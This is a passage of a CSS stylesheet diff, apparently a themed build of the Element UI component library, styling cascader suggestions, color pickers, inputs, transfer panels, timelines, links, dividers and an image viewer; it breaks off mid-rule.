+.el-cascader__suggestion-item { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + height: 34px; + padding: 0 15px; + text-align: left; + outline: 0; + cursor: pointer +} + +.el-cascader__suggestion-item:focus, +.el-cascader__suggestion-item:hover { + background: #f5f7fa +} + +.el-cascader__suggestion-item.is-checked { + color: var(--color-primary, #419488); + font-weight: 700 +} + +.el-cascader__suggestion-item>span { + margin-right: 10px +} + +.el-cascader__empty-text { + margin: 10px 0; + color: #c0c4cc +} + +.el-cascader__search-input { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + height: 24px; + min-width: 60px; + margin: 2px 0 2px 15px; + padding: 0; + color: #606266; + border: none; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-cascader__search-input::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-cascader__search-input:-ms-input-placeholder { + color: #c0c4cc +} + +.el-cascader__search-input::-ms-input-placeholder { + color: #c0c4cc +} + +.el-cascader__search-input::placeholder { + color: #c0c4cc +} + +.el-color-predefine { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + font-size: 12px; + margin-top: 8px; + width: 280px +} + +.el-color-predefine__colors { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + -ms-flex-wrap: wrap; + flex-wrap: wrap +} + +.el-color-predefine__color-selector { + margin: 0 0 8px 8px; + width: 20px; + height: 20px; + border-radius: 4px; + cursor: pointer +} + +.el-color-predefine__color-selector:nth-child(10n+1) { + margin-left: 0 +} + +.el-color-predefine__color-selector.selected { + -webkit-box-shadow: 0 0 3px 2px var(--color-primary, #419488); + box-shadow: 0 0 3px 2px var(--color-primary, #419488) +} + +.el-color-predefine__color-selector>div { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + height: 100%; + border-radius: 3px +} + +.el-color-predefine__color-selector.is-alpha { + background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==) +} + +.el-color-hue-slider { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 280px; + height: 12px; + background-color: red; + padding: 0 2px +} + +.el-color-hue-slider__bar { + position: relative; + background: -webkit-gradient(linear, left top, right top, from(red), color-stop(17%, #ff0), color-stop(33%, #0f0), color-stop(50%, #0ff), color-stop(67%, #00f), color-stop(83%, #f0f), to(red)); + background: linear-gradient(to right, red 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, red 100%); + height: 100% +} + +.el-color-hue-slider__thumb { + position: absolute; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; + top: 0; + width: 4px; + height: 100%; + border-radius: 1px; + background: #fff; + border: 1px solid #f0f0f0; + -webkit-box-shadow: 0 0 2px rgba(0, 0, 0, .6); + box-shadow: 0 0 2px rgba(0, 0, 0, .6); + z-index: 1 +} + +.el-color-hue-slider.is-vertical { + width: 12px; + height: 180px; + padding: 2px 0 +} + +.el-color-hue-slider.is-vertical .el-color-hue-slider__bar { + background: -webkit-gradient(linear, left top, left bottom, from(red), color-stop(17%, #ff0), color-stop(33%, #0f0), color-stop(50%, #0ff), color-stop(67%, #00f), color-stop(83%, #f0f), to(red)); + background: linear-gradient(to bottom, red 0, #ff0 17%, #0f0 33%, #0ff 50%, #00f 67%, #f0f 83%, red 100%) +} + +.el-color-hue-slider.is-vertical .el-color-hue-slider__thumb { + left: 0; + top: 0; + width: 100%; + height: 4px +} + +.el-color-svpanel { + position: relative; + width: 280px; + height: 180px +} + +.el-color-svpanel__black, +.el-color-svpanel__white { + position: absolute; + top: 0; + left: 0; + right: 0; + bottom: 0 +} + +.el-color-svpanel__white { + background: -webkit-gradient(linear, left top, right top, from(#fff), to(rgba(255, 255, 255, 0))); + background: linear-gradient(to right, #fff, rgba(255, 255, 255, 0)) +} + +.el-color-svpanel__black { + background: -webkit-gradient(linear, left bottom, left top, from(#000), to(rgba(0, 0, 0, 0))); + background: linear-gradient(to top, #000, rgba(0, 0, 0, 0)) +} + +.el-color-svpanel__cursor { + position: absolute +} + +.el-color-svpanel__cursor>div { + cursor: head; + width: 4px; + height: 4px; + -webkit-box-shadow: 0 0 0 1.5px #fff, inset 0 0 1px 1px rgba(0, 0, 0, .3), 0 0 1px 2px rgba(0, 0, 0, .4); + box-shadow: 0 0 0 1.5px #fff, inset 0 0 1px 1px rgba(0, 0, 0, .3), 0 0 1px 2px rgba(0, 0, 0, .4); + border-radius: 50%; + -webkit-transform: translate(-2px, -2px); + transform: translate(-2px, -2px) +} + +.el-color-alpha-slider { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 280px; + height: 12px; + background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==) +} + +.el-color-alpha-slider__bar { + position: relative; + background: -webkit-gradient(linear, left top, right top, from(rgba(255, 255, 255, 0)), to(white)); + background: linear-gradient(to right, rgba(255, 255, 255, 0) 0, #fff 100%); + height: 100% +} + +.el-color-alpha-slider__thumb { + position: absolute; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; + top: 0; + width: 4px; + height: 100%; + border-radius: 1px; + background: #fff; + border: 1px solid #f0f0f0; + -webkit-box-shadow: 0 0 2px rgba(0, 0, 0, .6); + box-shadow: 0 0 2px rgba(0, 0, 0, .6); + z-index: 1 +} + +.el-color-alpha-slider.is-vertical { + width: 20px; + height: 180px +} + +.el-color-alpha-slider.is-vertical .el-color-alpha-slider__bar { + background: -webkit-gradient(linear, left top, left bottom, from(rgba(255, 255, 255, 0)), to(white)); + background: linear-gradient(to bottom, rgba(255, 255, 255, 0) 0, #fff 100%) +} + +.el-color-alpha-slider.is-vertical .el-color-alpha-slider__thumb { + left: 0; + top: 0; + width: 100%; + height: 4px +} + +.el-color-dropdown { + width: 300px +} + +.el-color-dropdown__main-wrapper { + margin-bottom: 6px +} + +.el-color-dropdown__main-wrapper::after { + content: ""; + display: table; + clear: both +} + +.el-color-dropdown__btns { + margin-top: 6px; + text-align: right +} + +.el-color-dropdown__value { + float: left; + line-height: 26px; + font-size: 12px; + color: #000; + width: 160px +} + +.el-color-dropdown__btn { + border: 1px solid #dcdcdc; + color: #333; + line-height: 24px; + border-radius: 2px; + padding: 0 20px; + cursor: pointer; + background-color: transparent; + outline: 0; + font-size: 12px +} + +.el-color-dropdown__btn[disabled] { + color: #ccc; + cursor: not-allowed +} + +.el-color-dropdown__btn:hover { + color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488) +} + +.el-color-dropdown__link-btn { + cursor: pointer; + color: var(--color-primary, #419488); + text-decoration: none; + padding: 15px; + font-size: 12px +} + +.el-color-dropdown__link-btn:hover { + color: var(--color-primary-light, #54b4a6) +} + +.el-color-picker { + display: inline-block; + position: relative; + line-height: normal; + height: 40px +} + +.el-color-picker.is-disabled .el-color-picker__trigger { + cursor: not-allowed +} + +.el-color-picker--medium { + height: 36px +} + +.el-color-picker--medium .el-color-picker__trigger { + height: 36px; + width: 36px +} + +.el-color-picker--medium .el-color-picker__mask { + height: 34px; + width: 34px +} + +.el-color-picker--small { + height: 32px +} + +.el-color-picker--small .el-color-picker__trigger { + height: 32px; + width: 32px +} + +.el-color-picker--small .el-color-picker__mask { + height: 30px; + width: 30px +} + +.el-color-picker--small .el-color-picker__empty, +.el-color-picker--small .el-color-picker__icon { + -webkit-transform: translate3d(-50%, -50%, 0) scale(.8); + transform: translate3d(-50%, -50%, 0) scale(.8) +} + +.el-color-picker--mini { + height: 28px +} + +.el-color-picker--mini .el-color-picker__trigger { + height: 28px; + width: 28px +} + +.el-color-picker--mini .el-color-picker__mask { + height: 26px; + width: 26px +} + +.el-color-picker--mini .el-color-picker__empty, +.el-color-picker--mini .el-color-picker__icon { + -webkit-transform: translate3d(-50%, -50%, 0) scale(.8); + transform: translate3d(-50%, -50%, 0) scale(.8) +} + +.el-color-picker__mask { + height: 38px; + width: 38px; + border-radius: 4px; + position: absolute; + top: 1px; + left: 1px; + z-index: 1; + cursor: not-allowed; + background-color: rgba(255, 255, 255, .7) +} + +.el-color-picker__trigger { + display: inline-block; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 40px; + width: 40px; + padding: 4px; + border: 1px solid #e6e6e6; + border-radius: 4px; + font-size: 0; + position: relative; + cursor: pointer +} + +.el-color-picker__color { + position: relative; + display: block; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border: 1px solid #999; + border-radius: 2px; + width: 100%; + height: 100%; + text-align: center +} + +.el-color-picker__color.is-alpha { + background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==) +} + +.el-color-picker__color-inner { + position: absolute; + left: 0; + top: 0; + right: 0; + bottom: 0 +} + +.el-color-picker__empty, +.el-color-picker__icon { + top: 50%; + left: 50%; + font-size: 12px; + position: absolute +} + +.el-color-picker__empty { + color: #999; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0) +} + +.el-color-picker__icon { + display: inline-block; + width: 100%; + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); + color: #fff; + text-align: center +} + +.el-color-picker__panel { + position: absolute; + z-index: 10; + padding: 6px; + -webkit-box-sizing: content-box; + box-sizing: content-box; + background-color: #fff; + border: 1px solid #ebeef5; + border-radius: 4px; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-textarea { + position: relative; + display: inline-block; + width: 100%; + vertical-align: bottom; + font-size: 14px +} + +.el-textarea__inner { + display: block; + resize: vertical; + padding: 5px 15px; + line-height: 1.5; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + font-size: inherit; + color: #606266; + background-color: #fff; + background-image: none; + border: 1px solid #dcdfe6; + border-radius: 4px; + -webkit-transition: border-color .2s cubic-bezier(.645, .045, .355, 1); + transition: border-color .2s cubic-bezier(.645, .045, .355, 1) +} + +.el-textarea__inner::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-textarea__inner:-ms-input-placeholder { + color: #c0c4cc +} + +.el-textarea__inner::-ms-input-placeholder { + color: #c0c4cc +} + +.el-textarea__inner::placeholder { + color: #c0c4cc +} + +.el-textarea__inner:hover { + border-color: #c0c4cc +} + +.el-textarea__inner:focus { + outline: 0; + border-color: var(--color-primary, #419488) +} + +.el-textarea .el-input__count { + color: #909399; + background: #fff; + position: absolute; + font-size: 12px; + bottom: 5px; + right: 10px +} + +.el-textarea.is-disabled .el-textarea__inner { + background-color: #f5f7fa; + border-color: #e4e7ed; + color: #c0c4cc; + cursor: not-allowed +} + +.el-textarea.is-disabled .el-textarea__inner::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder { + color: #c0c4cc +} + +.el-textarea.is-disabled .el-textarea__inner::-ms-input-placeholder { + color: #c0c4cc +} + +.el-textarea.is-disabled .el-textarea__inner::placeholder { + color: #c0c4cc +} + +.el-textarea.is-exceed .el-textarea__inner { + border-color: #f56c6c +} + +.el-textarea.is-exceed .el-input__count { + color: #f56c6c +} + +.el-input { + position: relative; + font-size: 14px; + display: inline-block; + width: 100% +} + +.el-input::-webkit-scrollbar { + z-index: 11; + width: 6px +} + +.el-input::-webkit-scrollbar:horizontal { + height: 6px +} + +.el-input::-webkit-scrollbar-thumb { + border-radius: 5px; + width: 6px; + background: #b4bccc +} + +.el-input::-webkit-scrollbar-corner { + background: #fff +} + +.el-input::-webkit-scrollbar-track { + background: #fff +} + +.el-input::-webkit-scrollbar-track-piece { + background: #fff; + width: 6px +} + +.el-input .el-input__clear { + color: #c0c4cc; + font-size: 14px; + cursor: pointer; + -webkit-transition: color .2s cubic-bezier(.645, .045, .355, 1); + transition: color .2s cubic-bezier(.645, .045, .355, 1) +} + +.el-input .el-input__clear:hover { + color: #909399 +} + +.el-input .el-input__count { + height: 100%; + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + color: #909399; + font-size: 12px +} + +.el-input .el-input__count .el-input__count-inner { + background: #fff; + line-height: initial; + display: inline-block; + padding: 0 5px +} + +.el-input__inner { + -webkit-appearance: none; + background-color: #fff; + background-image: none; + border-radius: 4px; + border: 1px solid #dcdfe6; + -webkit-box-sizing: border-box; + box-sizing: border-box; + color: #606266; + display: inline-block; + font-size: inherit; + height: 40px; + line-height: 40px; + outline: 0; + padding: 0 15px; + -webkit-transition: border-color .2s cubic-bezier(.645, .045, .355, 1); + transition: border-color .2s cubic-bezier(.645, .045, .355, 1); + width: 100% +} + +.el-input__prefix, +.el-input__suffix { + position: absolute; + top: 0; + -webkit-transition: all .3s; + height: 100%; + color: #c0c4cc; + text-align: center +} + +.el-input__inner::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-input__inner:-ms-input-placeholder { + color: #c0c4cc +} + +.el-input__inner::-ms-input-placeholder { + color: #c0c4cc +} + +.el-input__inner::placeholder { + color: #c0c4cc +} + +.el-input__inner:hover { + border-color: #c0c4cc +} + +.el-input.is-active .el-input__inner, +.el-input__inner:focus { + border-color: var(--color-primary, #419488); + outline: 0 +} + +.el-input__suffix { + right: 5px; + transition: all .3s +} + +.el-input__suffix-inner { + pointer-events: all +} + +.el-input__prefix { + left: 5px; + transition: all .3s +} + +.el-input__icon { + height: 100%; + width: 25px; + text-align: center; + -webkit-transition: all .3s; + transition: all .3s; + line-height: 40px +} + +.el-input__icon:after { + content: ''; + height: 100%; + width: 0; + display: inline-block; + vertical-align: middle +} + +.el-input__validateIcon { + pointer-events: none +} + +.el-input.is-disabled .el-input__inner { + background-color: #f5f7fa; + border-color: #e4e7ed; + color: #c0c4cc; + cursor: not-allowed +} + +.el-input.is-disabled .el-input__inner::-webkit-input-placeholder { + color: #c0c4cc +} + +.el-input.is-disabled .el-input__inner:-ms-input-placeholder { + color: #c0c4cc +} + +.el-input.is-disabled .el-input__inner::-ms-input-placeholder { + color: #c0c4cc +} + +.el-input.is-disabled .el-input__inner::placeholder { + color: #c0c4cc +} + +.el-input.is-disabled .el-input__icon { + cursor: not-allowed +} + +.el-link, +.el-transfer-panel__filter .el-icon-circle-close { + cursor: pointer +} + +.el-input.is-exceed .el-input__inner { + border-color: #f56c6c +} + +.el-input.is-exceed .el-input__suffix .el-input__count { + color: #f56c6c +} + +.el-input--suffix .el-input__inner { + padding-right: 30px +} + +.el-input--prefix .el-input__inner { + padding-left: 30px +} + +.el-input--medium { + font-size: 14px +} + +.el-input--medium .el-input__inner { + height: 36px; + line-height: 36px +} + +.el-input--medium .el-input__icon { + line-height: 36px +} + +.el-input--small { + font-size: 13px +} + +.el-input--small .el-input__inner { + height: 32px; + line-height: 32px +} + +.el-input--small .el-input__icon { + line-height: 32px +} + +.el-input--mini { + font-size: 12px +} + +.el-input--mini .el-input__inner { + height: 28px; + line-height: 28px +} + +.el-input--mini .el-input__icon { + line-height: 28px +} + +.el-input-group { + line-height: normal; + display: inline-table; + width: 100%; + border-collapse: separate; + border-spacing: 0 +} + +.el-input-group>.el-input__inner { + vertical-align: middle; + display: table-cell +} + +.el-input-group__append, +.el-input-group__prepend { + background-color: #f5f7fa; + color: #909399; + vertical-align: middle; + display: table-cell; + position: relative; + border: 1px solid #dcdfe6; + border-radius: 4px; + padding: 0 20px; + width: 1px; + white-space: nowrap +} + +.el-input-group--prepend .el-input__inner, +.el-input-group__append { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.el-input-group--append .el-input__inner, +.el-input-group__prepend { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.el-input-group__append:focus, +.el-input-group__prepend:focus { + outline: 0 +} + +.el-input-group__append .el-button, +.el-input-group__append .el-select, +.el-input-group__prepend .el-button, +.el-input-group__prepend .el-select { + display: inline-block; + margin: -10px -20px +} + +.el-input-group__append button.el-button, +.el-input-group__append div.el-select .el-input__inner, +.el-input-group__append div.el-select:hover .el-input__inner, +.el-input-group__prepend button.el-button, +.el-input-group__prepend div.el-select .el-input__inner, +.el-input-group__prepend div.el-select:hover .el-input__inner { + border-color: transparent; + background-color: transparent; + color: inherit; + border-top: 0; + border-bottom: 0 +} + +.el-input-group__append .el-button, +.el-input-group__append .el-input, +.el-input-group__prepend .el-button, +.el-input-group__prepend .el-input { + font-size: inherit +} + +.el-input-group__prepend { + border-right: 0 +} + +.el-input-group__append { + border-left: 0 +} + +.el-input-group--append .el-select .el-input.is-focus .el-input__inner, +.el-input-group--prepend .el-select .el-input.is-focus .el-input__inner { + border-color: transparent +} + +.el-input__inner::-ms-clear { + display: none; + width: 0; + height: 0 +} + +.el-transfer { + font-size: 14px +} + +.el-transfer__buttons { + display: inline-block; + vertical-align: middle; + padding: 0 30px +} + +.el-transfer__button { + display: block; + margin: 0 auto; + padding: 10px; + border-radius: 50%; + color: #fff; + background-color: var(--color-primary, #419488); + font-size: 0 +} + +.el-transfer__button.is-with-texts { + border-radius: 4px +} + +.el-transfer__button.is-disabled, +.el-transfer__button.is-disabled:hover { + border: 1px solid #dcdfe6; + background-color: #f5f7fa; + color: #c0c4cc +} + +.el-transfer__button:first-child { + margin-bottom: 10px +} + +.el-transfer__button:nth-child(2) { + margin: 0 +} + +.el-transfer__button i, +.el-transfer__button span { + font-size: 14px +} + +.el-transfer__button [class*=el-icon-]+span { + margin-left: 0 +} + +.el-transfer-panel { + border: 1px solid #ebeef5; + border-radius: 4px; + overflow: hidden; + background: #fff; + display: inline-block; + vertical-align: middle; + width: 200px; + max-height: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative +} + +.el-transfer-panel__body { + height: 246px +} + +.el-transfer-panel__body.is-with-footer { + padding-bottom: 40px +} + +.el-transfer-panel__list { + margin: 0; + padding: 6px 0; + list-style: none; + height: 246px; + overflow: auto; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-transfer-panel__list.is-filterable { + height: 194px; + padding-top: 0 +} + +.el-transfer-panel__item { + height: 30px; + line-height: 30px; + padding-left: 15px; + display: block +} + +.el-transfer-panel__item+.el-transfer-panel__item { + margin-left: 0; + display: block !important +} + +.el-transfer-panel__item.el-checkbox { + color: #606266 +} + +.el-transfer-panel__item:hover { + color: var(--color-primary, #419488) +} + +.el-transfer-panel__item.el-checkbox .el-checkbox__label { + width: 100%; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + display: block; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-left: 24px; + line-height: 30px +} + +.el-transfer-panel__item .el-checkbox__input { + position: absolute; + top: 8px +} + +.el-transfer-panel__filter { + text-align: center; + margin: 15px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: block; + width: auto +} + +.el-transfer-panel__filter .el-input__inner { + height: 32px; + width: 100%; + font-size: 12px; + display: inline-block; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 16px; + padding-right: 10px; + padding-left: 30px +} + +.el-transfer-panel__filter .el-input__icon { + margin-left: 5px +} + +.el-transfer-panel .el-transfer-panel__header { + height: 40px; + line-height: 40px; + background: #f5f7fa; + margin: 0; + padding-left: 15px; + border-bottom: 1px solid #ebeef5; + -webkit-box-sizing: border-box; + box-sizing: border-box; + color: #000 +} + +.el-transfer-panel .el-transfer-panel__header .el-checkbox { + display: block; + line-height: 40px +} + +.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label { + font-size: 16px; + color: #303133; + font-weight: 400 +} + +.el-transfer-panel .el-transfer-panel__header .el-checkbox .el-checkbox__label span { + position: absolute; + right: 15px; + color: #909399; + font-size: 12px; + font-weight: 400 +} + +.el-divider__text, +.el-link { + font-weight: 500; + font-size: 14px +} + +.el-transfer-panel .el-transfer-panel__footer { + height: 40px; + background: #fff; + margin: 0; + padding: 0; + border-top: 1px solid #ebeef5; + position: absolute; + bottom: 0; + left: 0; + width: 100%; + z-index: 1 +} + +.el-transfer-panel .el-transfer-panel__footer::after { + display: inline-block; + content: ""; + height: 100%; + vertical-align: middle +} + +.el-container, +.el-timeline-item__node { + display: -webkit-box; + display: -ms-flexbox +} + +.el-transfer-panel .el-transfer-panel__footer .el-checkbox { + padding-left: 20px; + color: #606266 +} + +.el-transfer-panel .el-transfer-panel__empty { + margin: 0; + height: 30px; + line-height: 30px; + padding: 6px 15px 0; + color: #909399; + text-align: center +} + +.el-transfer-panel .el-checkbox__label { + padding-left: 8px +} + +.el-transfer-panel .el-checkbox__inner { + height: 14px; + width: 14px; + border-radius: 3px +} + +.el-transfer-panel .el-checkbox__inner::after { + height: 6px; + width: 3px; + left: 4px +} + +.el-container { + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row; + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + -ms-flex-preferred-size: auto; + flex-basis: auto; + -webkit-box-sizing: border-box; + box-sizing: border-box; + min-width: 0 +} + +.el-container.is-vertical, +.el-drawer { + -webkit-box-orient: vertical; + -webkit-box-direction: normal +} + +.el-aside, +.el-header { + -webkit-box-sizing: border-box +} + +.el-container.is-vertical { + -ms-flex-direction: column; + flex-direction: column +} + +.el-header { + padding: 0 20px; + box-sizing: border-box; + -ms-flex-negative: 0; + flex-shrink: 0 +} + +.el-aside { + overflow: auto; + box-sizing: border-box; + -ms-flex-negative: 0; + flex-shrink: 0 +} + +.el-footer, +.el-main { + -webkit-box-sizing: border-box +} + +.el-main { + display: block; + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + -ms-flex-preferred-size: auto; + flex-basis: auto; + overflow: auto; + box-sizing: border-box; + padding: 20px +} + +.el-footer { + padding: 0 20px; + box-sizing: border-box; + -ms-flex-negative: 0; + flex-shrink: 0 +} + +.el-timeline { + margin: 0; + font-size: 14px; + list-style: none +} + +.el-timeline .el-timeline-item:last-child .el-timeline-item__tail { + display: none +} + +.el-timeline-item { + position: relative; + padding-bottom: 20px +} + +.el-timeline-item__wrapper { + position: relative; + padding-left: 28px; + top: -3px +} + +.el-timeline-item__tail { + position: absolute; + left: 4px; + height: 100%; + border-left: 2px solid #e4e7ed +} + +.el-timeline-item__icon { + color: #fff; + font-size: 13px +} + +.el-timeline-item__node { + position: absolute; + background-color: #e4e7ed; + border-radius: 50%; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-image__error, +.el-timeline-item__dot { + display: -webkit-box; + display: -ms-flexbox +} + +.el-timeline-item__node--normal { + left: -1px; + width: 12px; + height: 12px +} + +.el-timeline-item__node--large { + left: -2px; + width: 14px; + height: 14px +} + +.el-timeline-item__node--primary { + background-color: var(--color-primary, #419488) +} + +.el-timeline-item__node--success { + background-color: #67c23a +} + +.el-timeline-item__node--warning { + background-color: #e6a23c +} + +.el-timeline-item__node--danger { + background-color: #f56c6c +} + +.el-timeline-item__node--info { + background-color: #909399 +} + +.el-timeline-item__dot { + position: absolute; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-timeline-item__content { + color: #303133 +} + +.el-timeline-item__timestamp { + color: #909399; + line-height: 1; + font-size: 13px +} + +.el-timeline-item__timestamp.is-top { + margin-bottom: 8px; + padding-top: 4px +} + +.el-timeline-item__timestamp.is-bottom { + margin-top: 8px +} + +.el-link { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + vertical-align: middle; + position: relative; + text-decoration: none; + outline: 0; + padding: 0 +} + +.el-link.is-underline:hover:after { + content: ""; + position: absolute; + left: 0; + right: 0; + height: 0; + bottom: 0; + border-bottom: 1px solid var(--color-primary, #419488) +} + +.el-link.el-link--default:after, +.el-link.el-link--primary.is-underline:hover:after, +.el-link.el-link--primary:after { + border-color: var(--color-primary, #419488) +} + +.el-link.is-disabled { + cursor: not-allowed +} + +.el-link [class*=el-icon-]+span { + margin-left: 5px +} + +.el-link.el-link--default { + color: #606266 +} + +.el-link.el-link--default:hover { + color: var(--color-primary, #419488) +} + +.el-link.el-link--default.is-disabled { + color: #c0c4cc +} + +.el-link.el-link--primary { + color: var(--color-primary, #419488) +} + +.el-link.el-link--primary:hover { + color: #66b1ff +} + +.el-link.el-link--primary.is-disabled { + color: #a0cfff +} + +.el-link.el-link--danger.is-underline:hover:after, +.el-link.el-link--danger:after { + border-color: #f56c6c +} + +.el-link.el-link--danger { + color: #f56c6c +} + +.el-link.el-link--danger:hover { + color: #f78989 +} + +.el-link.el-link--danger.is-disabled { + color: #fab6b6 +} + +.el-link.el-link--success.is-underline:hover:after, +.el-link.el-link--success:after { + border-color: #67c23a +} + +.el-link.el-link--success { + color: #67c23a +} + +.el-link.el-link--success:hover { + color: #85ce61 +} + +.el-link.el-link--success.is-disabled { + color: #b3e19d +} + +.el-link.el-link--warning.is-underline:hover:after, +.el-link.el-link--warning:after { + border-color: #e6a23c +} + +.el-link.el-link--warning { + color: #e6a23c +} + +.el-link.el-link--warning:hover { + color: #ebb563 +} + +.el-link.el-link--warning.is-disabled { + color: #f3d19e +} + +.el-link.el-link--info.is-underline:hover:after, +.el-link.el-link--info:after { + border-color: #909399 +} + +.el-link.el-link--info { + color: #909399 +} + +.el-link.el-link--info:hover { + color: #a6a9ad +} + +.el-link.el-link--info.is-disabled { + color: #c8c9cc +} + +.el-divider { + background-color: #dcdfe6; + position: relative +} + +.el-divider--horizontal { + display: block; + height: 1px; + width: 100%; + margin: 24px 0 +} + +.el-divider--vertical { + display: inline-block; + width: 1px; + height: 1em; + margin: 0 8px; + vertical-align: middle; + position: relative +} + +.el-divider__text { + position: absolute; + background-color: #fff; + padding: 0 20px; + color: #303133 +} + +.el-image__error, +.el-image__placeholder { + background: #f5f7fa +} + +.el-divider__text.is-left { + left: 20px; + -webkit-transform: translateY(-50%); + transform: translateY(-50%) +} + +.el-divider__text.is-center { + left: 50%; + -webkit-transform: translateX(-50%) translateY(-50%); + transform: translateX(-50%) translateY(-50%) +} + +.el-divider__text.is-right { + right: 20px; + -webkit-transform: translateY(-50%); + transform: translateY(-50%) +} + +.el-image__error, +.el-image__inner, +.el-image__placeholder { + width: 100%; + height: 100% +} + +.el-image { + position: relative; + display: inline-block; + overflow: hidden +} + +.el-image__inner { + vertical-align: top +} + +.el-image__inner--center { + position: relative; + top: 50%; + left: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); + display: block +} + +.el-image__error { + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + font-size: 14px; + color: #c0c4cc; + vertical-align: middle +} + +.el-image__preview { + cursor: pointer +} + +.el-image-viewer__wrapper { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0 +} + +.el-image-viewer__btn { + position: absolute; + z-index: 1; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + border-radius: 50%; + opacity: .8; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + user-select: none +} + +.el-button, +.el-checkbox { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none +} + +.el-image-viewer__close { + top: 40px; + right: 40px; + width: 40px; + height: 40px; + font-size: 40px +} + +.el-image-viewer__canvas { + width: 100%; + height: 100%; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-image-viewer__actions { + left: 50%; + bottom: 30px; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + width: 282px; + height: 44px; + padding: 0 23px; + background-color: #606266; + border-color: #fff; + border-radius: 22px +} + +.el-image-viewer__actions__inner { + width: 100%; + height: 100%; + text-align: justify; + cursor: default; + font-size: 23px; + color: #fff; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -ms-flex-pack: distribute; + justify-content: space-around +} + +.el-image-viewer__next, +.el-image-viewer__prev { + top: 50%; + width: 44px; + height: 44px; + font-size: 24px; + color: #fff; + background-color: #606266; + border-color: #fff +} + +.el-image-viewer__prev { + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + left: 40px +} + +.el-image-viewer__next { + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + right: 40px; + text-indent: 2px +} + +.el-image-viewer__mask { + position: absolute; + width: 100%; + height: 100%; + top: 0; + left: 0; + opacity: .5; + background: #000 +} + +.viewer-fade-enter-active { + -webkit-animation: viewer-fade-in .3s; + animation: viewer-fade-in .3s +} + +.viewer-fade-leave-active { + -webkit-animation: viewer-fade-out .3s; + 